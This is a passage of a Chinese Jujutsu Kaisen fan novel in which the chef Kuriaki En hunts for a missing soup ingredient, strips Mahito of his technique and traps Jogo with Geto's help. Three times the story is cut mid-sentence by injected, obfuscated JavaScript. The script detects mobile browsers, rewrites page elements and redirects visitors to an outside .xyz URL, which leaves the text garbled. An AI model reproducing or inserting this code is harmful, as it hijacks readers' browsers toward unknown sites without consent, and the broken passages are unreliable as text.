“啊。”甚尔有点惊讶,又有些迟疑道:“我好像……突然能尝出来,差了点什么了。” “真的假的?” 栗秋焰下意识去摸甚尔的脉,虽然这次仍然是没打招呼就突然伸手,但甚尔的肌肉十分放松,像是潜意识中已经信任默许了栗秋焰的接触。 “奇怪,身体机能明明没变化啊。”栗秋焰啧啧称奇:“我还以为你的舌头已经死了呢,没想到现在竟然活起来一点了——亏我之前还担心你这味觉以后怎么做饭呢。” “不用你担心,味觉好不好的压根无所谓,我老婆就是我的舌头。” 甚尔懒懒地随口一说,随即正色道。 “不过,我确实尝出来了。”他说:“是鲜味。但……是那种带着点腥气的鲜味。” 鲜味? 栗秋焰眨眨眼。 味增汤的口味比较柔和清淡,假如存在荤鲜,鲜味就会非常突出,所以也有用鱼骨和虾皮之类强调鲜味的做法。但这种河鲜的鲜味仍然是偏柔和的,联想起甚尔曾说过的,放冷后会变腥…… “难道说……”栗秋焰若有所思:“是海鲜?” “应该是,我有一点印象。” “那是什么?鱼?虾?还是蟹?” “忘了。”甚尔很坦然。 “……我竟然丝毫不意外,这就是习惯吗,好可怕。”栗秋焰吐槽了一句,摇了摇头,起身往厨房走去:“但现在范围已经缩小很多了,就算用穷举法一个个试都行,要不先从鱼类开始试起……” “哥哥,今天你很辛苦了,不要再做了。” 津美纪拉住栗秋焰的衣角:“而且浪费粮食不好,两锅汤都还没喝完,再做下去叔叔要喝成巨人观了。” 甚尔:“……” “……小学生的词汇库里竟然有这么专业的词汇。不过你说得对。”栗秋焰停下脚步:“说起来,今天的正经晚餐还没做呢……母油船鸭那个浸肉的底汤我带回来了,咱们下个馄饨吃?” “好!” 栗秋焰一进厨房,剩下三个人你看我我看你,原本欢欣的气氛瞬间降温,变成了有几分尴尬的沉默。 “我去帮哥哥。”津美纪率先站起,溜进了厨房。 唯余父子两人沉默以对。 “……爸爸。” 过了一会儿后,惠小声开口,看向甚尔。“除了妈妈的事,你想起来的那部分里,还有其他的吗?” “比如……这个。” 惠手指一动,两只玉犬从影子中跃出,对着甚尔龇牙咧嘴。 “我知道,你和栗秋哥哥都能【看见】。”惠直直地看着甚尔:“这到底是什么?” “……啊,还是来了啊。你也知道这玩意儿解释起来麻烦,所以没去找栗秋焰,跑来找我了是吧。” 甚尔深吸了一口气,然后缓缓吐出。 “这玩意儿叫咒术,你平时看见的那东西是咒灵。其他的概念我等会给你解释……啧。”甚尔不爽道:“你也真是走运了,要是换我以前……算了。” “什么?” “没什么。只是以前我还挺烦这些东西的。”甚尔抬了抬眼皮:“我说的那些事之前的记忆,都已经全部想起来了。包括我的出身、处境、逃离……不过。” 甚尔顿了一下,手下意识地抚上胸口。 “虽然记忆回来了,但我好像……没那么在乎了?就像放电视似的,没有那种……感觉了。” ——我取走了……他的【执念】…… 栗秋焰的声音电光火石般在脑海中闪过,惠缓缓瞪大眼睛。 “哦对了,差点忘记了,我养的用来放东西的那只咒灵呢?” 栗秋焰刚迈出厨房门就听到了这句话,顿时心虚地移开了视线。 当初打完架后嫌这丑东西碍事,发现竟然能进应当是只能放物品的系统背包,于是顺手就塞进去,早就忘记它了……这种事,还是不要说出来了吧。 “……咒灵这东西,跑了也说不定。”栗秋焰泰然自若道:“没准哪天也就突然出现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而他来回翻看着这只断肢,看着看着,突然察觉出了一丝微妙的异样感。 真人的这只断臂被齐肩斩断,苍白的皮肤纵横交错着怪异的缝合线,截断面很干净,没有血、没有碎肉,也没有断骨茬子,让这只断肢显得像某种怪异至极的塑胶模型。 因为它太……生机勃勃了。 十分奇异,即使只是一只断臂,但仍能察觉到那种生命的活性。从真人的领域可以推断出,他的术式必定与灵魂紧密关联。所以,难道说,这里面真的有他的……灵魂? 栗秋焰屏息凝神,而随着他的专注投入,真人的残肢上,竟然果真浮现出了一个接一个的概念标签。 掠过那些无用模糊的,栗秋焰的视线定格在了那个【无为转变】的概念上。 试试看吧。就算出了什么事,反正对方是咒灵,问题不大。 栗秋焰打定主意,向那个标签伸出了手,接着如触实物般,缓缓攥紧。 概念,剥夺。 几十公里外的餐馆中,真人突然一抖。 他忽然感觉到一阵刺痛,下意识捂住了肩膀。 “怎么了?” 对面的黑衣人发问。 “……没事?大概、或者、也许?”真人迟疑道。 他虽然能通过改变灵魂来改变□□的形状,但他灵魂的一部分,已经永远留在了栗秋焰的领域中。现在虽然外表看上去完好,但实际上他现在的一条手臂,本质上只是一个用肉增殖出来的空壳,跟废物只差一个造型上的区别。 但现在就是这条肉的空壳,竟然在细微战栗着疼痛。 怎么回事? 真人正疑惑着,对面的黑衣人已经不感兴趣地转移了视线,站起来,语气和缓道。 “总之,我们的合作到此终止。你没有遵守和我的约定,我很失望……其他的事,我还是继续和你的同伴谈一谈吧。” “喂,咒术师!” 真人喊道,但黑衣人已经转过了身,向门口走去。 此时此刻,就在电光火石般的一瞬间,真人突然感觉到,自己的灵魂被人触碰了。 那只作恶的手用力、变形……真人脑子里的弦一齐绷断,喉咙与声带自发拉扯震颤着,不受控制地冒出了一句完全没想过的话。 “咒术师……你是谁?” 黑衣人站住了。过了一会儿,他笑了一声,向上指了指。“别的不多说,我只说一件事。我是……祂的部下。” 听到了的栗秋焰坐在自己的房中,下意识抬头。 上面……天…… 难道果真是,天元?! 黑衣人说完后,干脆利索地出门了,留下真人一人,浑身冷汗地砰一下跌坐在椅子上。 “不对劲。”真人很严肃:“我感觉我胃里有毒。” 26.无为转变 “我说——” 寂静中,如蚊呐般的声音嗡鸣着响起,真人猛地看向自己的手臂。 他的手臂吹气球般膨起,皮肤下的肉高高顶着,缝合线仿佛无力维系般被撑开,交错处鲜红的肌肉透过缝线溢出,隐隐可见蓝紫色一抽一抽弹动的神经。 那一层皮被顶到极致,近乎透明,终于噗一下破开,内容物像朵大丽花般迸溅开,密密层层,血红的瓣,蓝紫的蕊,惨白的芯。 真人大脑一片空白。这是他才发现,原来骤遇无法理解的恐怖时,是无法发出声音的。 而那蚊呐般的嗡鸣也渐渐更响、更清晰,肉血的花旋转着扭动起来,条条的神经并起震颤着组成声带,红肉挤压成口洞状,气流吹过空洞的血肉,而那声音也越来越大—— “你有胃这个器官吗,就诬陷我菜里有毒。” 剧痛此时才姗姗来迟,真人从喉咙挤压出战栗的痛呼,如烂泥般软倒在桌面上。 “栗、栗秋焰……” 真人的牙齿咯咯作响,他试图切断感知痛觉的神经,但却做不到,原本得心应手的术式,此时正在逐渐失控。 比起疼痛,现在更鲜明的,是自脊背爬上的恐惧——他曾用【无为转变】肆意揉捏过无数人类的灵魂,但当这术式不受控制地作用在自己身上时,他终于感受到了恐惧。 “你到底做了什么……”真人咬牙,脸颊的肉打着抖:“我不是……逃掉了吗……” 栗秋焰反而愣了一下。 他正缓慢剥夺着【无为转变】的概念标签,像是拔一个塞得很紧的海绵拼图。同时他通过术式由真人的灵魂控制他的肉|体,只是模糊地去听和说,并看不见真人那边具体的情况,自然不知道自己搞出了一副很反派的惨烈场面。 栗秋焰:“……搞这么夸张,不知道的还以为我干嘛了呢,不是你坑的我吗。” 而随着夺取的进程推进,真人惊恐地发现,那失控的异变不止于手臂,竟从肩膀处扩散开来,缓缓向胸口与脖颈蔓延。 “停、停下!我道歉我道歉我道歉——对不起!!!”真人大叫起来,最后竟哭起来,混乱地口齿不清地抽噎着:“快住手、原谅我、拜托……求求你……” 栗秋焰是个普世意义上的好人,真人很清楚这一点。他是由人对人的憎恨中所诞生的咒灵,天生就无师自通利用人性,无论是恶的一面还是善的一面。 所以,看他都这么可怜了,栗秋焰肯定—— 那边噗嗤一声,乐了。 肉血的花旋动着,似乎同样笑起来,从神经的孔隙间摩擦出笑声。 “为什么?你没有丝毫价值,对我来说,只是个没用的废物而已,不是吗?” 栗秋焰的手指已深深没入标签中,攥紧,接着毫不犹豫地发力一抽,那块如有实质的概念,终于被彻底剥落。 他摊开手,凝视着手心闪动的【无为转变】。与上次不同,这次他认真地全程盯着,在他的注视下,虚幻的概念标签一脱离便如黄油遇热般迅速融化,丝丝荡漾着渗入栗秋焰的手掌。 栗秋焰惊奇地抬手,与领域展开后相似的掌控感涌起,但更加实在与清晰——他能随意使用这个术式了,就像从排列整齐的碗橱中拿出一件厨具。 从身体内部泛起的、生理性的满足感,几乎是令人上瘾的,就像是炎炎夏日喝下一杯冰水,亦或者寒冷深冬第一口热乎乎的烤红薯。 栗秋焰短暂地沉醉在那奇异的感触中,惊醒时发现自己的手指竟还无意识地去捻抓那些丝缕逸散的标签色彩,像是抠挖海绵拼图缺口因摩擦而漏下的碎屑。 他被烫般立刻抽回手,有些心有余悸——毕竟,这实在太不“栗秋焰”了。 而另一边的真人,当然不知道栗秋焰起伏的心路历程。他只是感觉到胸腔中有什么东西一紧又一松,随即就是一股无底洞般令人发疯的空虚感猛地咬上来,几乎把他的思考能力吞噬殆尽。 真人呆呆地摸了摸自己的胸膛,肩前一股淡蓝色的束发扫在指背上。他猛地攥住,但无论是手指还是发尾都没有丝毫改变,他用尽全力,但微弱残留的术式,也只是令发丝微微折起。 这时真人才意识到——他的术式,消失了。 “……还给我。” 真人突然抬起头,神经质地来回抓着手臂上伤痕累累的皮肉,撒泼打滚般不断重复着:“那是我的东西!还给我还给我还给我——!” 栗秋焰回过神来,感觉有点匪夷所思。 “还有这么看不清自己处境的废物?”他是真感觉奇怪:“要不是我是个信守承诺的人,不会因为你打破我的规则——否则按照常理来说,我应该直接操控你自|杀,斩草除根才对。” 不过除此之外还有一个原因。那就是某种意义上来说……咒灵,是不灭的。 即使现在杀死真人,相应的负面情绪经过百年的沉积,仍然会从中诞生新的“真人”。即使没有前任的记忆,这恶劣的思维方式和能力仍大致相同。 那么换句话来说,只要这个“真人”一直存活,就永远不会有下一个真人诞生。 而真人,现在只是个徒有其表的特级咒灵而已。他特级级别的咒力仍然存在——但拥有的术式【无为转变】,已经被栗秋焰夺走了。 不过这都是后话。栗秋焰现在对真人的撒泼打滚甚至有点新奇,只是想发笑。于是他也真的笑出声来: ——“喂,你哪来的胆子,竟敢问我要我的东西?” 真人僵住了。 像是头顶被凿开了一个口,粗暴灌进的冰冷压迫感顺着脊背淌流。而那埋藏的恐惧再度升起,像成群的小虫勾连着顺着骨缝一路向上,窸窸窣窣地爬动进四肢百骸。 “我……我……” 真人的声音弱了下来。 “我不是废物。我还有价值……什么都好,我会去做的……起码,一点点……” “好吧。”栗秋焰宽容道:“那给你一句话说服我,你还能有什么价值?” “我……” 迟疑的漫长停顿中,真人脑中突然灵光一闪。 “我还有同伴,他们全都是像我一样的特级咒灵!”真人立刻道:“我可以把他们骗来给你——但我要求优待奸细!” 栗秋焰:? 栗秋焰大开眼界。不是,啊? 一时之间他真的十分想吐槽,但槽点太多,他一时竟无从吐起,有种自己是个健全B,却因为对自己有利,而无法顺理成章地扇对面一巴掌的无助感。 “我已经发现了,小焰,你的领域规则很霸道,只要在领域内,你就是近乎无解的。不过除此之外,也还存在着一个缺陷——” 真人竟还洋洋得意起来,十分真诚地给栗秋焰出谋划策。 “攻击性。小焰,你的领域是半开放式的,只能以无害的外表诱使敌人踏入,或者防守反击。但假如对方知道你领域的情报,一开始就有防备,不与你正面对敌的话,你也拿他们没有办法。” “所以这就是你领域的缺陷——攻击性。即使有想杀的人,你也几乎没有主动攻击的能力。” “但我,可以帮你弥补这一部分!” 真人越说越兴奋:“我可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14032844|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人骗进你的领域里,毕竟对咒灵来说我是同伴,对咒术师来说我是目标……怎么样,没有比我更完美的诱饵了吧?” 栗秋焰:“……” 说得竟然还真有几分道理! 联想起之前真人断臂逃生的干脆利落,栗秋焰都快心生感叹了——这求生欲和反应速度,硬是把死路给走宽了。 虽然这两次绝境,好像都是我给创造的啊。 ……不过这不重要。甚至不影响栗秋焰仍然想给他一巴掌的欲|望……等等还是别了,我都怕他舔我手怎么办,光是想象一下就恶心得寒毛直竖…… “小焰,放心嘛~”真人还兴致勃□□来:“这样吧,这几天我就给你骗一个来。我有个同伴叫漏瑚,他会用火哦,对你来说很实用吧?” 栗秋焰:“……” 栗秋焰顿了顿,还是忍不住问了。“我说,你们身为同类的同伴情呢?” 真人眨眨眼。 “小焰,你真会开玩笑。”真人笑得很开心:“我怎么会有那种东西呢?” “……”栗秋焰发自内心地真诚道:“你说得对。” 但要不要答应真人,他还是有点犹豫。 毕竟,那可是一个完全陌生、不知能力的特级咒灵…… 就在他踟蹰之时,之前被他撂到一边的手机突然响了起来。 看着屏幕上显示的【夏油杰】,栗秋焰紧皱的眉头突然放松了下来。 他应了真人,然后放开手,主动切断了与真人灵魂的联系。接着拿起手机。 “喂。”栗秋焰接起来,也不解释,直接就是一句:“有大活儿,来不来?” 夏油杰:? “你不是说退学后要回归普通人的世界,当大厨去了吗?什么大活儿?”夏油杰声音突然有些紧张:“你碰上难搞的危险麻烦了?” “嗯……倒也不算。”栗秋焰说:“可能我是那个危险的麻烦。” “哈?” 栗秋焰掐头去尾,隐去了不能说的部分,大略把事情跟夏油杰说了一下。 “总之,就是这样。”栗秋焰说:“有智慧、能沟通的特级咒灵……来不来?” “当然!” 夏油杰果断答应,不过顿了一下后,又思索道:“不过,毕竟是没见过的……保险起见,要不要拉上悟?” 栗秋焰:“……你可以自己去问下,我就不找他了。” “怎么了?” “我把他电话号码删了。” 栗秋焰诚实地回答道。 电话那边沉默了一会儿,接着爆发出一阵大笑。 “哈哈哈哈哈,竟然删了……你都不知道,悟那家伙天天吃不好饭,还嘴硬说只是没胃口,但我不止一次看到他心不在焉地看手机……他老觉得你会向他求助,然后就可以理直气壮继续蹭你的饭了……” “没想到,原来你都直接删了。”夏油杰笑了半天才停:“这下肯定不找他了,我一个就够了,放心吧。我完了后再把见过你这事告诉他,也不知道悟会是什么表情。” “……真的是不小心的!你别把我删了他这事告诉他,对了,把五条号码发我,我重新存一下。” “我不告诉他,我看他自己什么时候发现。”夏油杰笑道:“至于号码,你都删了就别存了。” “……喂!” “喂、喂?啊这里信号不好我听不见啊——总之,几天后见吧——再见——” 电话啪一声挂断了。 栗秋焰:…… 可恶啊,他早就知道,这DK二人组没一个好东西! 27.咒灵小伙儿立正了 在这几天里,栗秋焰倒是终于过上了段安稳日子。 自从退学后,事儿就一件接一件地找上门来,本来还以为退出咒术界就能过上向世界第一厨子稳步进军的安定生活,没想到反而陷入了漩涡中心。 现在事情都暂时告一段落,天元那边暂时还没什么大动作的风声,咒灵那边真人在兢兢业业地当二五仔,连系统都安静如鸡没再作妖——而似乎是被真人的惨状吓到了,现在正在每日认真研读《宫廷心术:如何获取陛下欢心》之类的奇怪文档。 只有一件事的进展不太顺利,让栗秋焰有点苦恼。 “那道味增汤里,到底加的是什么海鲜呢。” 栗秋焰凝视着光亮的刀背,刀面映着案板边已备过许多次的、整齐堆叠的配菜,他停下手,叹了口气。 一只虚幻的手覆上,安慰似的拍了拍。她的手指并不光洁,虎口处有茧,指侧和掌背都有细小的伤疤——随着甚尔一次次的讲述,她的泡影也越来越清晰。 栗秋焰已经尝试过很多种海鲜了。虾、蟹、鱼…… 每次更换后的味增汤,总能让甚尔想起一些新的回忆片段……但也仅止于此。模糊相似的、有差别的味道,只能唤起零碎的瞬间,甚至连时空顺序都十分混乱,更别提完整的长段记忆了。 不过甚尔说出的那些瞬间,倒都是关于他妻子的。 因为记忆的颠三倒四,甚尔总是零碎而混乱地说着,栗秋焰便也就这么听着。不过也就在这种时候,甚尔会不自觉地唇边泛起些淡的笑意。 她会跟着熨烫机一股一股喷起的蒸汽哼歌,会抱怨又涨了的米价,很喜欢笑,笑起来眉毛会舒展开来……晴天时,她会把不知从哪捡来的花朵细心地洗净择刺,插进透明的瓶子里放在窗台上。阳光下,明黄、透蓝、绀青……柔软的花瓣舒展开来,每一朵都在笑。 在尝试扇贝的那次,栗秋焰差点以为自己成功了。因为甚尔那次想起的场景格外清晰又格外漫长——他回忆起了自己的婚礼。 其实那并不能叫做婚礼。他和妻子只是法律意义上缔结了夫妻关系,并没有举行什么所谓的仪式——毕竟想也知道,他可没什么亲朋好友能参加这傻得离谱的东西。妻子也同意了。 登记的过程十分迅速,几乎没什么结婚的实感。但第二天回家的路上突然下了大雨,甚尔无所谓地穿过慌乱躲避的人群,抬头突然看见了慌乱半扣着雨衣,抱着伞满脸焦急地左顾右盼,似乎在寻找着他的妻子。 那一刻,细密的雨珠连绵地从雨衣的帽檐滚下,像是散开了一团银白的雾气。妻子在雨帘中抬起眼——甚尔突然觉得那像一件婚纱。 但这也就到此为止。 栗秋焰叹了口气。 既然有新的回忆被唤起,那就说明味道还是比较相似,缺失的那味食材肯定是海鲜,这点是没错的。 但已经试了这么多种了,还是不对!到底是哪种海鲜啊! 虽然用穷举法肯定有朝一日能试出来……但这也花太长时间了吧!他还想为今年的生日宴准备新菜呢! “你到底在想什么呢……”栗秋焰用菜刀将备菜推到一边,冥思苦想:“到底为什么要放海鲜?又到底会选择哪种?” 刀面闪过一道银白的反光,隔着遥远时间的短发女子露出抱歉的无奈笑意,似乎在因不能直接告诉他谜底而遗憾。 砰! 栗秋焰一惊,身后的门倏然洞开,甚尔的声音顺着风懒洋洋地吹进来—— “栗秋焰,你那破推车我给你修好了。我以为什么呢,就这玩具似的小玩意儿,还值得发次火?” 栗秋焰回过神来,平滑如银镜的刀面仍然反射着光亮,映出一旁堆叠整齐的配菜一团团模糊的色块。 “……希望你在说这句话之前,先意识到弄坏它的就是你。”栗秋焰没好气道:“赶紧关门。” 天虽然还热着,但风已经冷起来了。雨下过也是一场比一场凉,夏天已走向尾声了。 “啊,这么说起来,那我的生日还真是快要到了。”栗秋焰想了起来。 “生日?” 两个小孩立刻看过来,津美纪紧张道:“哥哥,你要过生日了吗?哪一天?” “唔,就是在种花家节气里,立秋的那一天。我的姓写作汉字后跟这个节气是同音的,我给自己起姓时想了好久呢。” “诶?”惠愣了:“栗秋哥哥,你的姓竟然是你自己起的吗?” “对啊,不然我妈是种花人,我爸是意国人,我怎么有个霓虹姓呢。” “可是,一般不都是跟父母……” “我家不搞那一套啦。我爸妈结婚后,两个人也都没有改姓,比起某人的伴侣这个身份,他们各自自己的姓名才是有知名度的金字招牌。”栗秋焰笑道:“所以这也是他们的想法——比起让我‘继承’些什么,他们更希望我做自己。” 不过很可惜,他最后还是凭自己的意愿去当厨子了。爱做饭,拦不住的。 “寄托他们期待与祝愿的,大概就是我姓名中的‘焰’了。” 栗秋焰将餐盘放到桌上,闲聊道:“人类的文明开启于燃起第一缕篝火,一切的烹饪也都从火焰伊始。它无法定型、无法束缚,小至温暖身心、大至焚毁世界……等等。” 他猛地一顿,眼睛突然亮了起来。 “难道说……我明白了!”栗秋焰一锤掌心,恍然大悟道:“原来是这个!” 剩下的三个人面面相觑:? 伏黑惠忍不住问道:“栗秋哥哥,你又明白什么了?” “我明白味增汤可能会用哪些海鲜了!”栗秋焰眼睛发亮:“你说,有没有可能她挑选时,并不只是考虑了味道与价格,而是连期望祈愿这种象征意义之类的东西,一并考虑了进去?” “哎?” “这确实是我之前尝试的盲区啊。”栗秋焰越想越可能:“霓虹不是一直有这种传统吗?比如在夏末秋初时吃生栗子,就能保佑健康好运之类的……” 他兴头上来转身就要回厨房,但在迈出一步后又突然停住,随即立刻回头把好像正在发呆,不知道在想什么的甚尔一把揪了起来。 甚尔:“……?干嘛?” “快想,你老婆不是会经常在节日里做这道汤吗?有没有什么节日,是她一定会做这道汤的,快想!什么沾边的印象都行!” 甚尔沉默了一会儿。 “……真的不记得了。”甚尔缓缓道:“但不知道为什么,眼前总会浮现出……那枝桃花的影子。” “桃花、桃花……” 栗秋焰放开甚尔,皱着眉快速思索,喃喃道:“偏红粉色的颜色,难道是北极贝?还是说是某种海鱼的鱼腩排?也有可能是柔软偏透明的质感……海蜇?但味道上又不对……” 全新的思路出现,栗秋焰明明感觉答案已经呼之欲出了,偏偏就差那个灵光一闪的灵感将一切线索串联起来。 他无意识地来回踱步,做出一个个猜测又排除,甚尔凝视着他沉思的脸,眼神突然变得有些复杂。 “栗秋焰。”甚尔说:“我在想……” 栗秋焰骤然抬头。冥冥中他感觉到有什么东西动了一下,就像钓鱼时,手中的鱼竿突然颤了颤——等等,好像是真人在找他。 但就在这么一个走神间,甚尔张了张嘴,又闭上了。 “算了。差点说蠢话了。”甚尔抓了抓头发,烦躁道:“你去忙你的吧。” “……我好像还真的有点事情。” 栗秋焰刚刚才通过无为转变的联系得知,真人还真的成功了。他说那个使用火术式的特级咒灵,已经答应和他一起去其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14042917|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他地方了——时间就是今天下午。 这下不得不出门了,栗秋焰一边抓起手机摇夏油杰,另一边匆匆扭开门锁。 “惠惠,黄封皮那本,还是把我折角的那几页背了,我回来检查。津美纪好好吃饭,小学生就别惦记着减肥了,至于甚尔……” 栗秋焰回头看了一眼,看到甚尔沉默的状态愣了一下。 “好啦,真的就只差一点了。今明天没准就做出来了。”栗秋焰笑道:“等你老婆回来了,你可欠我一份大人情。” 甚尔抬起头深深地看他,片刻后嘴角勾了勾,从鼻子里发出一声笑音。 “还说这个。”甚尔靠在墙上,抬起手赶苍蝇般挥了挥,嫌弃道:“不是有事,还不快走?” 栗秋焰笑起来,正好电话接通,“喂,夏油?啊对,你现在来这里……” 门砰地一声关上了。 甚尔重新低下头。阴翳中,他凝视着自己的手掌,在胸膛上按了按,暗沉的绿眼睛微微有些发怔。 ——其实,我觉得现在这样……不坏。即使你放弃,也可以。 “……怎么会想到这种蠢话。”片刻后,甚尔摇摇头,嗤笑了一声:“还差点说出来了,真是……” “爸爸?” 甚尔看过去,惠仰着脸,清澈的眼睛疑惑地看着他。 “……嗯。” 甚尔含糊地应了一声,重新站起来,深吸了一口气。 他看着两个小孩,想了半天不知道说什么,最后放弃,直接照搬了栗秋焰的常用语句。 “总之……”甚尔说:“先吃饭吧。” / 另一边,真人正领着漏瑚,缓缓走向郊区中一片山林的深处。 “真人,你虽然学习能力很强,但毕竟诞生的时间不长,没什么与咒术师这类人打交道的经验。” 漏瑚踩过沉积的厚重腐叶,严肃地深沉道。 “人类都是一个样子,狡诈、弱小、不可信任!而咒术师,更是其中最不可信的那一批!” 真人左看右看,口中敷衍地应着:“嗯嗯。” “我们与那个咒术师所谓的合作,只是因为他说出的那些情报确实有用,于我等大计有利,其他的不过是虚与委蛇,对方恐怕也是如此。那个人说什么不再和你合作,大概也是离间我们的一环。我来就是特地想告诉你……还没到吗?到底要去哪?” 真人远远地感应到了什么,露出了灿烂的笑容。 “马上就到啦,就在前面,我带你过去。”真人边走边好奇道:“你想告诉我什么?” 漏瑚咳了声,正色道。 “永远不要相信人类。”漏瑚震声道:“只有同是咒灵的我们,才能对彼此交托完全的信任!” 漏瑚义正言辞地大声说道,跟着真人,跨进了一线被阴影遮蔽的旷地—— “领域展开。” 漏瑚僵硬了。 他不可思议地看着从石块后缓缓走出的两个咒术师,头颅上唯有一只的眼珠子都瞪大了。 “小焰~”真人一蹦一跳过去,仰起脸笑道:“怎么样,我还蛮厉害的吧?” 漏瑚更加不可思议地瞪着真人,仿佛受到了什么巨大的冲击,那只眼珠子目眦欲裂,几乎快脱眶了。 “你……!” 栗秋焰随手转着剔骨刀,旁边夏油杰任劳任怨地帮他推着小推车,两人停在僵立在原地的漏瑚面前。 “不知为何……”栗秋焰怅然道:“最近常常产生我是反派的错觉啊。” 夏油杰:“那并不是错觉吧。” “好了,不说废话了。”栗秋焰向漏瑚露出了和善的微笑:“你喜欢什么?清蒸还是红烧?” 漏瑚:???!!! 救命啊,太恐怖了,有疯子要吃咒灵啊!!! 28.重庆火锅 栗秋焰一看漏瑚的表情就知道,这咒灵绝对是想岔了。 毕竟能从这三分震惊三分愤怒三分不敢置信,还有一分悲伤的调色盘火山头脸上,硬生生又冲出一股惊恐的情绪,除了以为自己要吃咒灵外不做他想。 “古话说君子‘见其生,不忍见其死;闻其声,不忍食其肉’……所以我不吃能动会说会思考的!不吃人也不吃咒灵!别瞎猜了!” “而且最关键的是……”栗秋焰无语道:“我看起来那么像异食癖吗?” 这火山头咒灵干巴巴的,说话一股老头子味儿,一看就不好吃啊! 夏油杰:“太像了。一年级的时候,当你第一次拿出鸡脚鸭心鸭肠当零食……还炸知了炸蚕蛹一口一个的时候……我不止一次地升起过这个念头。” 那时刚入学,大家还都不熟。在愈发燥热的蝉鸣中,夏油杰正深沉地思考着责任、意义……然后就听咚一声,树上正嘶鸣的蝉被一只网子罩住了。 夏油杰:? 接着那只网子又连续扣了好几下,所有还在发声的活物都没逃过,被尽数逮捕——夏油杰还是头一次发现夏天的树林子能这么安静。 “啊,是你啊,夏油同学。” 刚认识没多久的栗秋焰同学,用那张古典柔和的俊秀脸庞,向他露出了一个漂亮的笑容。但与那明丽笑容形成鲜明对比的,是他手中数只密密麻麻扭动着翅足的狰狞虫子。 “一起吃吗?” ……夏油杰无法细说那一刻的极大震撼。短短四个字竟能营造出恐怖片一样的效果……那时候他就隐隐意识到,栗秋焰绝不像外表看起来那么简单。 这点在之后的同学生活中无数次救了他,让他比五条悟少吃了很多栗秋焰的亏……不过这也都是后话了。 “喂,合着一段时间没见,你是专程来吐槽我的吗。”栗秋焰说:“你就说炸知了香不香吧。” “……”夏油杰真诚道:“香。所以下一次什么时候做?” “看情况吧,毕竟夏天都快结束了……” “喂。你们两个。” 栗秋焰与夏油杰停下闲聊,扭头看向那边。 “咒术师小鬼,在我面前如此肆无忌惮,这副做派……是在瞧不起我吗!” 漏瑚咬牙切齿,足有小半张脸的独眼瞪大,头上丘状火山般的颅顶爆发般燃起,砰一声喷出一小圈黑烟。 “不过是个弱小的领域罢了,占了先机又如何,看我直接从内部冲破它!”漏瑚两手并起结出手印,表情恐怖:“被岩浆烧成灰烬吧——” “果然,还是要开打啊,正好!”夏油杰嘴角上扬:“咒灵操术——” 虹龙巨大的身形游动而出,盘绕在夏油杰身侧;灼热的火星在气流中擦亮,漏瑚吐出一口山火燃起般的黑烟,大嘴龇出满口黑红的牙龈。 两人同时跃起,向对方冲去。眼看一场特级咒灵vs特级咒术师的大战就要就此展开—— 然后同时熄火了。 一缕青烟散去,漏瑚看着一丝火气儿都没有的空气发愣;虹龙则温顺地卷在地上,眼神清澈地游过去,轻轻蹭了蹭栗秋焰的脚踝。 夏油杰:“……” “你们好像都忘了,这是我的领域。” 栗秋焰自然地抬起一只手,只轻轻来回一推,就轻描淡写地分开了可以说人与咒灵双方顶端战力的两人。 “在我的规则里。”栗秋焰说:“战斗禁止。” “……” 夏油杰虽然是头一次感受到【强制禁战】,但他是被抽过咒力的,很清楚栗秋焰领域不讲道理的霸道,于是立刻收龙松手坐下一气呵成,放弃得十分迅速利落。 “哼,谁会信这种东西。” 漏瑚不信邪,用尽全力再次试图强行冲突束缚,却被反馈而来的力量直接锁死,严密禁锢的沉重感让他双腿一软,差点跪倒在地。 “哈哈。”真人嘻嘻地笑出声:“还有比我更不识相的。” 漏瑚怒目而视,愤慨道:“闭嘴!你这叛徒!” 夏油杰:“你到底从哪找的这活宝。” “你想要我讲一遍我从无数咒灵中挑中他的故事吗?……好吧,别用那种无语的表情看着我。”栗秋焰深沉道:“我只能说懂得都懂,不懂也没办法,这里头水很深你把握不住……真要说的话我只能说,这是俺拾得嘞。” 夏油杰:“……你这满嘴跑火车的毛病还真是丝毫没变。” 漏瑚眯起眼,突然阴森地笑起来。 “绿眼睛的小子,我认识你。你就是那个栗秋焰。”漏瑚从喉咙中挤出阴沉的笑声:“领域内禁战又怎样?你总有咒力用光的一时,等到领域结束的那刻,我就把你们全部、烧成飞灰——” “说那么多话。”栗秋焰打断道:“肚子不饿?” 像是被戳中了某种羞耻的隐秘痛脚,漏瑚猛地跳起来,梗着脖子嘴硬地大喊。 “是又怎样!我告诉你,就算你把我锁在这一辈子,折辱欺侮于我,我漏瑚,也不会吃你们人类一口东西!” 在这铁骨铮铮、掷地有声的宣言一落下,空气中便短暂地寂静了片刻。紧接着,一道不合时宜的声音便格外清晰地响起。 咕—— 漏瑚猛地捂住了腹部。 “哈哈哈哈哈哈哈——!” 真人丝毫没有给同伴面子的意识,率先爆发出一阵大笑,夏油杰也忍不住噗地笑了一声。 